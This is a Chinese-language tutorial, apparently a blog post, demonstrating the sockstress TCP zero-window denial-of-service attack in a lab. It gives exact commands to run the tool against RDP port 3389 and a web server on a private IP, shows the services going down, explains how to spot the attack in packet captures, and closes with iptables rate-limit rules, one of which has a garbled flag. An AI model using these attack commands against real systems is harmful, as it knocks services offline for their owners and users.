sockstress攻击
介绍:
消耗被攻击目标系统资源 -与攻击目标建立大量socket链接完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)异步攻击,单机可拒绝服务高配资源服务器Window窗-实现的TCP流控。
1、通过工具上传攻击脚本(提示:可以使用Xftp 6上传文件,该工具安装好后集成在xshell中)


2、给sockstress文件夹,赋予777权限,drwxr-xr-x代表赋权成功(chmod 777 sockstress)


网卡查询(ifconfig)

3、发起攻击(./sockstress 192.168.31.115:3389 eth0 -d 10)
命令解读:
192.168.31.115:攻击目标主机ip地址
3389:端口号
eth0:网卡名称
-d:是微秒内指定,默认为1000000 改成10之后并发带度更快。

4、查看攻击效果
攻击前(可以远程连接)

攻击后(无法连接)

5、抓包查看数据包、还有服务器性能
如果出现了很多 [TCP Zerowindow]、win=0 这种状态的话,说明被sockstress攻击了

sockstress攻击web站点
1、攻击站点的800端口(因为我的得web站点使用的是800端口)
攻击命令:./sockstress 192.168.31.115:800 eth0 -p payloads/http -d 10

2、攻击前后对比
攻击前

攻击后(apache会被打死)

防御方法
直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 -甶于建立完整的TCP三步握手,因此使用syn cookie防御无效 -根本的防御方法是采用白名单(不实际)
折中对策:限制单位时间内每IP建的TCP连接数
1、封杀每30秒与80端口建立连接超过10个的IP地址
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -¬seconds 30 --hitcount 10 -j DROP
注意:以上规则对DDoS攻击无效
网友评论